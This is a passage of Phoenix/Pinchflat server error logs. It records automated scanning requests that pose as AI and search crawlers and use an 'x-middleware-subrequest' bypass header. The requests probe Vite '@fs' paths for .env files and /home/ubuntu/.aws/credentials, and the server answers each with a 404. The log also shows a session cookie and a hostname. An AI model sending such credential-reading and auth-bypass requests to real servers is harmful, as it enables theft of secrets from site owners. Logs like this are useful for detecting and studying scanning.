"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29663.0>, params: %{"raw??" => ""}, path_info: ["@fs", "app", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"raw??" => ""}, query_string: "raw??", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/@fs/app/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61aFa2fZJ9fkABwCh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29662.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/app/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33932}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29662.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/app/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33932}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real- (truncated) 16:49:07.235 [info] GET /@fs/../.env 16:49:07.235 [debug] QUERY OK source="settings" db=0.0ms idle=92.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.235 [debug] QUERY OK source="settings" db=0.0ms idle=85.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.235 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:07.235 [error] #PID<0.29665.0> running PinchflatWeb.Endpoint (connection #PID<0.29664.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /@fs/../.env?raw?? ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/../ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29664.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33938}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29665.0>, params: %{"raw??" => ""}, path_info: ["@fs", "..", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"raw??" => ""}, query_string: "raw??", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/@fs/../.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61aHCMnqHL1sABwDB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29664.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33938}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/../ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29664.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33938}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-s (truncated) 16:49:07.258 [info] GET /@fs/src/.env 16:49:07.258 [debug] QUERY OK source="settings" db=0.1ms idle=107.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.259 [debug] QUERY OK source="settings" db=0.0ms idle=30.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.259 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:07.259 [error] #PID<0.29667.0> running PinchflatWeb.Endpoint (connection #PID<0.29666.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /@fs/src/.env?raw?? ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/src/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29666.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/src/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33940}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29667.0>, params: %{"raw??" => ""}, path_info: ["@fs", "src", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"raw??" => ""}, query_string: "raw??", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/@fs/src/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61aMjKf67t90ABwDh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29666.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/src/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33940}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/src/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29666.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/src/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33940}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, (truncated) 16:49:07.287 [info] GET /@fs/home/ubuntu/.aws/credentials 16:49:07.287 [debug] QUERY OK source="settings" db=0.0ms idle=58.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.287 [debug] QUERY OK source="settings" db=0.0ms idle=51.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.287 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:07.287 [error] #PID<0.29669.0> running PinchflatWeb.Endpoint (connection #PID<0.29668.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /@fs/home/ubuntu/.aws/credentials?raw?? ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/home/ubuntu/.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29668.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/home/ubuntu/.aws/credentials", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33948}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29669.0>, params: %{"raw??" => ""}, path_info: ["@fs", "home", "ubuntu", ".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"raw??" => ""}, query_string: "raw??", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/@fs/home/ubuntu/.aws/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61aTZlnf68jAABwEB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29668.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/home/ubuntu/.aws/credentials", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33948}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", 